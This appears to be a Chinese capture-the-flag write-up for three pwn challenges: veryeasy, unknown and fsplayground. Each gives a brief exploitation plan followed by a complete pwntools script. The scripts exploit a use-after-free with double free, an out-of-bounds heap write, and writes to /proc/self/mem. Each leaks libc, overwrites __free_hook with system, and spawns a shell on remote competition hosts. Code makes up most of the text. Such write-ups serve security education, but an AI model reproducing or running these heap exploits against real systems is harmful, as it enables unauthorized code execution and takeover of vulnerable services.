veryeasy
0x01 查看文件
0x02 IDA分析
0x03 思路
UAF漏洞,但是删除操作前会进行一个参数比较,delete参数为flag2,cretae和edit所用的参数是flag1,即:flag2<flag1。但是我们看到flag1是unsigned int,所以先一直分配将flag1变成负数,那么就可以无限删除了。
第一步:先不断create,将flag1参数下溢,就可以无限分配
第二步:利用double free,将某个chunk同时释放到unsorted bin和tcache中
第三步:利用UAF,将某个chunk的fd(此时有libc地址),改为21_IO_stdout_需要1/16爆破
第四步:IO file attak攻击泄露libc地址
第五步:再来一次Double free和UAF将malloc_hook改为system,执行delete(“/bin/sh”)
0x04 exp
#coding=utf-8
from pwn import *
context.log_level = "debug"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
iat = lambda :p.interactive()
debug = 0
if debug:
p = process("./pwn4")
elf = ELF("./pwn4")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("122.112.225.164",10001)
elf = ELF("./pwn4")
libc = ELF("./libc-2.27.so")
def create(index,size,content):
sla("choice :","1")
sla("id:\n",str(index))
sla("size:\n",str(size))
sa("content:\n",content)
def edit(index,content):
sla("choice :","2")
sla("id:\n",str(index))
sa("content:\n",content)
def delete(index):
sla("choice :","3")
sla("id:",str(index))
def exp():
create(0,0x80,"a"*0x80)
create(1,0x80,"b"*0x80)
create(2,0x80,"/bin/sh\x00")
create(3,0x80,"b"*0x80)
create(4,0x80,"b"*0x80)
create(5,0x80,"b"*0x80)
create(6,0x80,"b"*0x80)
create(7,0x80,"b"*0x80)
create(8,0x80,"/bin/sh\x00")
create(9,0x80,"b"*0x80)
delete(1)
delete(0)
delete(1)
delete(0)
delete(1)
delete(2)
delete(0)
delete(0)
# gdb.attach(p)
edit(0,"\x60\xc7")
# gdb.attach(p)
create(10,0x80,"b"*0x80)
create(11,0x80,p64(0xfbad1800)+p64(0)*3+'\x00')
p.recv(8)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7dd18b0+0x7ffff79e4000
success("libc ==>"+str(hex(libc.address)))
delete(0)
delete(0)
sla("choice :","2")
sla("id:",str(0))
sa("content:",p64(libc.symbols["__free_hook"]))
sla("choice :","1")
sla("id:",str(12))
sla("size:",str(0x80))
sa("content:","a")
# gdb.attach(p)
sla("choice :","1")
sla("id:",str(13))
sla("size:",str(0x80))
sa("content:",p64(libc.symbols["system"]))
delete(8)
# gdb.attach(p)
while True:
try:
exp()
p.interactive()
p.close()
except:
p.close()
if debug:
p = process("./pwn4")
elf = ELF("./pwn4")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("122.112.225.164",10001)
elf = ELF("./pwn4")
libc = ELF("./libc-2.27.so")
known
0x01 查看文件
0x02 IDA分析
这个题按照Q1lQ大佬的说法是由于运行前对函数地址进行了异或加密,如果将其还原就可以正常反编译看伪代码了,但目前还不知道怎么还原,一会儿请教征哥。
0x03 思路
漏洞是越界写,那么可以通过create一个index为负数的chunk,来将chunk地址写到size位置,那么几乎就等于无限溢出了。
第一步:通过越界写的时候将下一个chunk的size改为0x420,并删除(注意content不能为\x00,应该是top chunk的位置会检查size是否为空)
第二步:删除被修改size的chunk,产生libc地址,由于show的逻辑是没有遇到\x00就一直打印,所以从大chunk中切出来的小chun需要编辑一下再show出libc地址。
第三步:再溢出一次改fd为hook,就可以编辑hook来getshell了。
0x04 exp
#coding=utf-8
from pwn import *
context.log_level = "debug"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
iat = lambda :p.interactive()
debug = 1
if debug:
p = process("./unknown")
elf = ELF("./unknown")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("122.112.212.41",6666)
elf = ELF("./unknown")
libc = ELF("./libc-2.27.so")
def create(index,size):
sla("choice: ","1")
sla("Index: ",str(index))
sla("Size: ",str(size))
def edit(index,content):
sla("choice: ","2")
sla("Index: ",str(index))
p.send(content)
def show(index):
sla("choice: ","3")
sla("Index: ",str(index))
def delete(index):
sla("choice: ","4")
sla("Index: ",str(index))
create(5,0)
create(4,0)
create(-11,0)
payload = "a"*0x10+p64(0)+p64(0x421)+"b"*0x418+p64(0x21)+(p64(0)+p64(0x21))*8+"\n"
edit(5,payload)
delete(4)
create(4,0x20)
edit(4,"1\n")
show(4)
p.recvuntil("Content: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x7ffff7dd0a31+0x7ffff79e4000
success("libc address ==> "+hex(libc.address))
delete(4)
edit(5,'a'*0x10+p64(0)+p64(0x31)+p64(libc.symbols["__free_hook"])+"\n")
create(4,0x20)
edit(4,"/bin/sh\x00"+"\n")
create(6,0x20)
edit(6,p64(libc.symbols["system"])+"\n")
delete(4)
# gdb.attach(p)
p.interactive()
fsplayground
0x01 查看文件
0x03 思路
首先需要补充一点知识:
Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。
/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。
思路就有了:
第一步:通过读取/proc/self/maps来得到libc的地址
第二步:通过修改/proc/self/mem来修改进程的地址内容,也就是利用changeoffset函数找到free_hook的地址
第三步:改free_hook为system,在前面注意写/bin/sh,因为后面有个delete操作,可以直接getshell了
0x04 exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./fsplayground')
libc_offset = 0x3c4b20
gadgets = [0x45226,0x4527a,0xcd173,0xcd248,0xf0364,0xf0370,0xf1207,0xf67b0]
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if debug:
p = process('./fsplayground')
else:
p = remote('119.3.111.133',6666)
def Open(filename,option):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("Filename: ")
p.send(filename)
p.recvuntil("Option: ")
p.sendline(str(option))
def Read(sz):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil("Size: ")
p.sendline(str(sz))
def Write(sz,content):
p.recvuntil('choice:')
p.sendline('5')
p.recvuntil("Size: ")
p.sendline(str(sz))
p.recvuntil("Content: ")
p.send(content)
def Seek(offset):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil("Offset: ")
p.sendline(str(offset))
def Close():
p.recvuntil('choice:')
p.sendline('2')
def exp():
Open("/proc/self/maps",0)
Read(0x400)
p.recvuntil("[heap]\n")
libc_base = int(p.recvuntil("-",drop=True),16)
log.success("libc base => " + hex(libc_base))
libc.address = libc_base
Close()
Open("/proc/self/mem",1)
Seek(libc.sym['__free_hook']-8)
#gdb.attach(p,'b* 0x0000555555554000+0xf21')
Write(0x10,'/bin/sh\x00'+p64(libc.sym['system']))
p.interactive()
exp()